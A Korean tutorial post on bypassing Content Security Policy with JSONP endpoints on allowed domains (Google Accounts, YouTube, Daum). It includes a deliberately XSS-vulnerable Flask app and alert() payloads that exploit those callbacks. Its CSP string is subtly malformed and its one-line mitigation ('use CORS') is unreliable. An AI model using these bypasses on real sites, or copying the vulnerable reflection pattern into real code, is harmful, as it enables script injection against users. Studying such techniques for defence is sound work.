CSP에 script-src에 JSONP API를 지원하는 서버가 있을 경우 이를 이용하여 XSS를 하는 방법을 알아봅시다.
What is JSONP
JSONP는 SOP(Same Origin Policy)정책을 우회하기 위해 사용하는 방법입니다.
JSONP는 HTML 문서의 script 태그로 다른 도메인을 요청 할 시 SOP 정책이 적용되지 않는 방식
을 이용하여 동작합니다.
script 태그는 src 속성 값을 호출한 결과를 javascript로 불러와서 즉시 실행시키는 기능입니다.
Attack Point
만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트
를 삽입하여 공격이 가능합니다.
예를 들어 웹 페이지에서 *.google.com에서 온 출처만 허용한다고 가정해봅시다. 이 경우, 구글에서 JSONP API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있습니다.
예시 코드를 보면 CSP 적용되어 있어 text 변수에 스크립트 구문을 넣어도 CSP 떄문에 스크립트를 실행할 수 없습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
from flask import Flask, request
app = Flask(__name__)
@app.after_request
def add_header(response):
global nonce
csp = (
"default-src 'self'; "
"script-src 'self' *.google.com *.youtube.com; *.daum.net"
"img-src 'self'; "
"style-src 'self'; "
"object-src 'none'; "
"base-uri 'none';"
)
response.headers['Content-Security-Policy'] = csp
return response
@app.route('/', methods=['GET'])
def index():
text = request.args.get("text", "test")
return f"<html><body>text : {text}</body></html>"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5555)
Google Accounts
JSONP API를 지원하는 callback에 원하는 페이로드를 넣어서 XSS 동작이 가능합니다.
1
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(`glasses96`);"></script>
youtube
1
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE%26format=json%26callback=alert(`glasses96`)";></script>
KaKao
단 daum.net의 경우 Reffer헤더가 https://finance.daum.net/
이여야 동작합니다.
아닌 경우 400 error가 발생합니다.
대응방안
CORS 사용
Next?
다음은 service worker를 이용하여 CSP를 우회시키는 방법에 대해서 알아보겠습니다.
Reference
- https://learn.dreamhack.io/322
- https://lactea.kr/entry/ctf-%EB%AC%B8%EC%A0%9C%EB%A5%BC-%ED%86%B5%ED%95%B4-CSP-bypass-%EC%A0%95%EB%A6%AC%ED%95%98%EA%B8%B0